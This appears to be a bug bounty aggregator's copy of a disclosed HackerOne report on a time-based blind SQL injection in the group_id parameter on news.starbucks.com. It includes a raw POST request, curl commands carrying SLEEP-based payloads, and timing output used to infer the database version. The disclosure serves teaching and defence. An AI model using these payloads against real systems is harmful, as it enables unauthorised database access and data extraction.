Skip to content
SQL injection Disclosed report Intermediate

Time-based Blind SQLi on news.starbucks.com

The group_id parameter in a POST request to news.starbucks.com was not sanitised, allowing SQL injection. An attacker could use time-based blind SQL injection to infer database information, such as the DBMS version.

toctou Follow

Originally disclosed on HackerOne

  • Triaged in 11 days
  • Fixed in 12 days
  • Disclosed after 42 days

Summary by the researcher

Full story here: http://timeofcheck.com/time-based-blind-sqli-on-news-starbucks-com/

The report

Hi,

I just found that the post parameter "group_id" for a particularly crafted http request is being vulnerable to injection due to missing parameter sanitization.

PoC:

POST / HTTP/1.1
Host: news.starbucks.com
Connection: close
Content-Length: 81
Cache-Control: max-age=0
Origin: https://news.starbucks.com
Content-Type: application/x-www-form-urlencoded

ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1

This query will result in an execution of a SLEEP command, delaying the server response time:

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real	0m4.945s
user	0m0.000s
sys		0m0.063s

If the custom IF statement evaluates to False, the response would be sensibly faster:

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=2,SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real	0m0.860s
user	0m0.000s
sys		0m0.031s

In this way it was possible to detect the dbms version being 5:

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='5',SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real	0m4.945s

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='4',SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real	0m1.005s

The original report as published on HackerOne, by toctou. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the group_id parameter was concatenated into a SQL query without proper sanitisation or parameterisation.

Impact

An attacker could extract information from the database, such as the DBMS version, through time-based inference.

What the attacker needed

Network access to the site

How it was found

  1. Send a POST request to the site with a group_id value containing a conditional SLEEP instruction.
  2. Observe that the response is delayed when the condition is true.
  3. Send a similar request with a false condition and observe a faster response.
  4. Use the delay to test database version characters one by one.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website took a value from a form and put it directly into a database command without cleaning it first. By adding extra database instructions, an attacker could make the site wait before responding, and the delay revealed hidden information about the database.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.